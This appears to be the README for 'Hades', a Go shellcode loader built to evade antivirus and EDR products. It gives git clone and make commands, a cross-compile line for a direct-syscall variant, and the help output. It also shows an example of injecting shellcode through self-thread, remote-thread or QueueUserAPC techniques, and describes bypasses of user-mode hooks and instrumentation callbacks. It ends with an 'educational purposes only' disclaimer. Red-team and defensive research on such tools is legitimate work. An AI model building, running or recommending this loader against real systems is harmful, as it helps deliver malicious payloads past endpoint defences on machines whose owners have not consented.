Hades is a proof of concept loader that combines several evasion technques with the aim of bypassing the defensive mechanisms commonly used by modern AV/EDRs.
The easiest way, is probably building the project on Linux using make
.
git clone https://github.com/f1zm0/hades && cd hades
make
Then you can bring the executable to a x64 Windows host and run it with .\hades.exe [options]
.
PS > .\hades.exe -h
'||' '||' | '||''|. '||''''| .|'''.|
|| || ||| || || || . ||.. '
||''''|| | || || || ||''| ''|||.
|| || .''''|. || || || . '||
.||. .||. .|. .||. .||...|' .||.....| |'....|'
version: dev [11/01/23] :: @f1zm0
Usage:
hades -f <filepath> [-t selfthread|remotethread|queueuserapc]
Options:
-f, --file <str> shellcode file path (.bin)
-t, --technique <str> injection technique [selfthread, remotethread, queueuserapc]
Inject shellcode that spawms calc.exe
with queueuserapc technique:
.\hades.exe -f calc.bin -t queueuserapc
User-mode hooking bypass with syscall RVA sorting (NtQueueApcThread
hooked with frida-trace and custom handler)
Instrumentation callback bypass with indirect syscalls (injected DLL is from syscall-detect by jackullrich)
In the latest release, direct syscall capabilities have been replaced by indirect syscalls provided by acheron. If for some reason you want to use the previous version of the loader that used direct syscalls, you need to explicitly pass the direct_syscalls
tag to the compiler, which will figure out what files needs to be included and excluded from the build.
GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -tags='direct_syscalls' -o dist/hades_directsys.exe cmd/hades/main.go
Warning
This project has been created for educational purposes only, to experiment with malware dev in Go, and learn more about the unsafe package and the weird Go Assembly syntax. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper use of this tool.
Shoutout to the following people that shared their knowledge and code that inspired this tool:
This project is licensed under the GPLv3 License - see the LICENSE file for details
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